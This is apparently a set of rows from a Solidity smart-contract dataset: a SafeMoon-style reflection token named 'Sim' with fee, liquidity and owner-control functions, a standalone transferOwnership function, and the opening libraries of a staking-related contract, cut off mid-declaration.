amountOut); function getAmountIn( uint256 amountOut, uint256 reserveIn, uint256 reserveOut ) external pure returns (uint256 amountIn); function getAmountsOut(uint256 amountIn, address[] calldata path) external view returns (uint256[] memory amounts); function getAmountsIn(uint256 amountOut, address[] calldata path) external view returns (uint256[] memory amounts); } // pragma solidity >=0.6.2; interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint256 liquidity, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external returns (uint256 amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint256 liquidity, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint256 amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; } contract Sim is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; mapping(address => bool) private _isExcluded; address[] private _excluded; uint256 private constant MAX = ~uint256(0); uint256 private _tTotal = 1000000000 * 10**6 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private _name = "Sim"; string private _symbol = "Sim"; uint8 private _decimals = 9; uint256 public _taxFee = 5; uint256 private _previousTaxFee = _taxFee; uint256 public _liquidityFee = 5; uint256 private _previousLiquidityFee = _liquidityFee; IUniswapV2Router02 public immutable uniswapV2Router; address public immutable uniswapV2Pair; bool inSwapAndLiquify; bool public swapAndLiquifyEnabled = true; uint256 public _maxTxAmount = 5000000 * 10**6 * 10**9; uint256 private numTokensSellToAddToLiquidity = 500000 * 10**6 * 10**9; event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap); event SwapAndLiquifyEnabledUpdated(bool enabled); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiqudity ); modifier lockTheSwap { inSwapAndLiquify = true; _; inSwapAndLiquify = false; } constructor() public { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x05fF2B0DB69458A0750badebc4f9e13aDd608C7F); //Pancake Swap's address // Create a uniswap pair for this new token uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); // Set the rest of the contract variables uniswapV2Router = _uniswapV2Router; // Exclude owner and this contract from fee _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve( _msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue) ); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve( _msgSender(), spender, _allowances[_msgSender()][spender].sub( subtractedValue, "ERC20: decreased allowance below zero" ) ); return true; } function isExcludedFromReward(address account) public view returns (bool) { return _isExcluded[account]; } function totalFees() public view returns (uint256) { return _tFeeTotal; } function deliver(uint256 tAmount) public { address sender = _msgSender(); require( !_isExcluded[sender], "Excluded addresses cannot call this function" ); (uint256 rAmount, , , , , ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rTotal = _rTotal.sub(rAmount); _tFeeTotal = _tFeeTotal.add(tAmount); } function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns (uint256) { require(tAmount <= _tTotal, "Amount must be less than supply"); if (!deductTransferFee) { (uint256 rAmount, , , , , ) = _getValues(tAmount); return rAmount; } else { (, uint256 rTransferAmount, , , , ) = _getValues(tAmount); return rTransferAmount; } } function tokenFromReflection(uint256 rAmount) public view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function excludeFromReward(address account) public onlyOwner() { // require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not exclude Uniswap router.'); require(!_isExcluded[account], "Account is already excluded"); if (_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcluded[account] = true; _excluded.push(account); } function includeInReward(address account) external onlyOwner() { require(_isExcluded[account], "Account is already excluded"); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tOwned[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } function _transferBothExcluded( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity ) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function excludeFromFee(address account) public onlyOwner { _isExcludedFromFee[account] = true; } function includeInFee(address account) public onlyOwner { _isExcludedFromFee[account] = false; } function setTaxFeePercent(uint256 taxFee) external onlyOwner() { _taxFee = taxFee; } function setLiquidityFeePercent(uint256 liquidityFee) external onlyOwner() { _liquidityFee = liquidityFee; } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); } function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner { swapAndLiquifyEnabled = _enabled; emit SwapAndLiquifyEnabledUpdated(_enabled); } // To recieve ETH from uniswapV2Router when swaping receive() external payable {} function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getTValues(tAmount); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tLiquidity, _getRate()); return ( rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tLiquidity ); } function _getTValues(uint256 tAmount) private view returns ( uint256, uint256, uint256 ) { uint256 tFee = calculateTaxFee(tAmount); uint256 tLiquidity = calculateLiquidityFee(tAmount); uint256 tTransferAmount = tAmount.sub(tFee).sub(tLiquidity); return (tTransferAmount, tFee, tLiquidity); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tLiquidity, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rLiquidity = tLiquidity.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rLiquidity); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if ( _rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply ) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _takeLiquidity(uint256 tLiquidity) private { uint256 currentRate = _getRate(); uint256 rLiquidity = tLiquidity.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rLiquidity); if (_isExcluded[address(this)]) _tOwned[address(this)] = _tOwned[address(this)].add(tLiquidity); } function calculateTaxFee(uint256 _amount) private view returns (uint256) { return _amount.mul(_taxFee).div(10**2); } function calculateLiquidityFee(uint256 _amount) private view returns (uint256) { return _amount.mul(_liquidityFee).div(10**2); } function removeAllFee() private { if (_taxFee == 0 && _liquidityFee == 0) return; _previousTaxFee = _taxFee; _previousLiquidityFee = _liquidityFee; _taxFee = 0; _liquidityFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _liquidityFee = _previousLiquidityFee; } function isExcludedFromFee(address account) public view returns (bool) { return _isExcludedFromFee[account]; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) require( amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount." ); // Is the token balance of this contract address over the min number of tokens that we need to initiate a swap + liquidity lock? // Also, don't get caught in a circular liquidity event. // Also, don't swap & liquify if sender is uniswap pair. uint256 contractTokenBalance = balanceOf(address(this)); if (contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } bool overMinTokenBalance = contractTokenBalance >= numTokensSellToAddToLiquidity; if ( overMinTokenBalance && !inSwapAndLiquify && from != uniswapV2Pair && swapAndLiquifyEnabled ) { contractTokenBalance = numTokensSellToAddToLiquidity; // Add liquidity swapAndLiquify(contractTokenBalance); } // Indicates if fee should be deducted from transfer bool takeFee = true; // If any account belongs to _isExcludedFromFee account then remove the fee if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } // Transfer amount, it will take tax, burn, liquidity fee _tokenTransfer(from, to, amount, takeFee); } function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap { // Split the contract balance into halves uint256 half = contractTokenBalance.div(2); uint256 otherHalf = contractTokenBalance.sub(half); // Capture the contract's current ETH balance. // This is so that we can capture exactly the amount of ETH that the // Swap creates, and not make the liquidity event include any ETH that // Has been manually sent to the contract uint256 initialBalance = address(this).balance; // Swap tokens for ETH swapTokensForEth(half); // This breaks the swap when swap+liquify is triggered // How much ETH did we just swap into? uint256 newBalance = address(this).balance.sub(initialBalance); // Add liquidity to uniswap addLiquidity(otherHalf, newBalance); emit SwapAndLiquify(half, newBalance, otherHalf); } function swapTokensForEth(uint256 tokenAmount) private { // Generate the uniswap pair path of token to weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // Make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // Accept any amount of ETH path, address(this), block.timestamp ); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { // Approve token transfer to cover all possible scenarios _approve(address(this), address(uniswapV2Router), tokenAmount); // Add the liquidity uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // Slippage is unavoidable 0, // Slippage is unavoidable owner(), block.timestamp ); } // This method is responsible for taking all fee, if takeFee is true function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && !_isExcluded[recipient]) { _transferStandard(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity ) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } }
Transfers ownership of the contract to a new account (`newOwner`). Can only be called by the current owner./
function transferOwnership(address newOwner) public virtual onlyOwner { require( newOwner != address(0), "Ownable: new owner is the zero address" ); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; }
584,117
// SPDX-License-Identifier: MIT pragma solidity 0.6.12; pragma experimental ABIEncoderV2; /** * @dev Standard math utilities missing in the Solidity language. */ library MathUtil { /** * @dev Returns the smallest of two numbers. */ function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } } interface IStakingProxy { function getBalance() external view returns(uint256); function withdraw(uint256 _amount) external; function stake() external; function distribute() external; } interface IRewardStaking { function stakeFor(address, uint256) external; function stake( uint256) external; function withdraw(uint256 amount, bool claim) external; function withdrawAndUnwrap(uint256 amount, bool claim) external; function earned(address account) external view returns (uint256); function getReward() external; function getReward(address _account, bool _claimExtras) external; function extraRewardsLength() external view returns (uint256); function extraRewards(uint256 _pid) external view returns (address); function rewardToken() external view returns (address); function balanceOf(address _account) external view returns (uint256); } /// @notice A library for performing overflow-/underflow-safe math, /// updated with awesomeness from of DappHub (https://github.com/dapphub/ds-math). library BoringMath { function add(uint256 a, uint256 b) internal pure returns (uint256 c) { require((c = a + b) >= b, "BoringMath: Add Overflow"); } function sub(uint256 a, uint256 b) internal pure returns (uint256 c) { require((c = a - b) <= a, "BoringMath: Underflow"); } function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { require(b == 0 || (c = a * b) / b == a, "BoringMath: Mul Overflow"); } function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "BoringMath: division by zero"); return a / b; } function to128(uint256 a) internal pure returns (uint128 c) { require(a <= uint128(-1), "BoringMath: uint128 Overflow"); c = uint128(a); } function to64(uint256 a) internal pure returns (uint64 c) { require(a <= uint64(-1), "BoringMath: uint64 Overflow"); c = uint64(a); } function to32(uint256 a) internal pure returns (uint32 c) { require(a <= uint32(-1), "BoringMath: uint32 Overflow"); c = uint32(a); } function to40(uint256 a) internal pure returns (uint40 c) { require(a <= uint40(-1), "BoringMath: uint40 Overflow"); c = uint40(a); } function to112(uint256 a) internal pure returns (uint112 c) { require(a <= uint112(-1), "BoringMath: uint112 Overflow"); c = uint112(a); } function to224(uint256 a) internal pure returns (uint224 c) { require(a <= uint224(-1), "BoringMath: uint224 Overflow"); c = uint224(a); } function to208(uint256 a) internal pure returns (uint208 c) { require(a <= uint208(-1), "BoringMath: uint208 Overflow"); c = uint208(a); } function to216(uint256 a) internal pure returns (uint216 c) { require(a <= uint216(-1), "BoringMath: uint216 Overflow"); c = uint216(a); } } /// @notice A library for performing overflow-/underflow-safe addition and subtraction on uint128. library BoringMath128 { function add(uint128 a, uint128 b) internal pure returns (uint128 c) { require((c = a + b) >= b, "BoringMath: Add Overflow"); } function sub(uint128 a, uint128 b) internal pure returns (uint128 c) { require((c = a - b) <= a, "BoringMath: Underflow"); } } /// @notice A library for performing overflow-/underflow-safe addition and subtraction on uint64. library BoringMath64 { function add(uint64 a, uint64 b) internal pure returns (uint64 c) { require((c = a + b) >= b, "BoringMath: Add Overflow"); } function sub(uint64 a, uint64 b) internal pure returns (uint64 c) { require((c = a - b) <= a, "BoringMath: Underflow"); } } /// @notice A library for performing overflow-/underflow-safe addition and subtraction on uint32. library BoringMath32 { function add(uint32 a, uint32 b) internal pure returns (uint32 c) { require((c = a + b) >= b, "BoringMath: Add Overflow"); } function sub(uint32 a, uint32 b) internal pure returns (uint32 c) { require((c = a - b) <= a, "BoringMath: Underflow"); } function mul(uint32 a, uint32 b) internal pure returns (uint32 c) { require(b == 0 || (c = a * b) / b == a, "BoringMath: Mul Overflow"); } function div(uint32 a, uint32 b) internal pure returns (uint32) { require(b > 0, "BoringMath: division by zero"); return a / b; } } /// @notice A library for performing overflow-/underflow-safe addition and subtraction on uint112. library BoringMath112 { function add(uint112 a, uint112 b) internal pure returns (uint112 c) { require((c = a + b) >= b, "BoringMath: Add Overflow"); } function sub(uint112 a, uint112 b) internal pure returns (uint112 c) { require((c = a - b) <= a, "BoringMath: Underflow"); } function mul(uint112 a, uint112 b) internal pure returns (uint112 c) { require(b == 0 || (c = a * b) / b == a, "BoringMath: Mul Overflow"); } function div(uint112 a, uint112 b) internal pure returns (uint112) { require(b > 0, "BoringMath: division by zero"); return a / b; } } /// @notice A library for performing overflow-/underflow-safe addition and subtraction on uint224. library BoringMath224 { function add(uint224 a, uint224 b) internal pure returns (uint224 c) { require((c = a + b) >= b, "BoringMath: Add Overflow"); } function sub(uint224 a, uint224 b) internal pure returns (uint224 c) { require((c = a - b) <= a, "BoringMath: Underflow"); } function mul(uint224 a, uint224 b) internal pure returns (uint224 c) { require(b == 0 || (c = a * b) / b == a, "BoringMath: Mul Overflow"); } function div(uint224 a, uint224 b) internal pure returns (uint224) { require(b > 0, "BoringMath: division by zero"); return a / b; } } /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20Upgradeable { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMathUpgradeable { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } /** * @dev Collection of functions related to the address type */ library AddressUpgradeable { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20Upgradeable { using SafeMathUpgradeable for uint256; using AddressUpgradeable for address; function 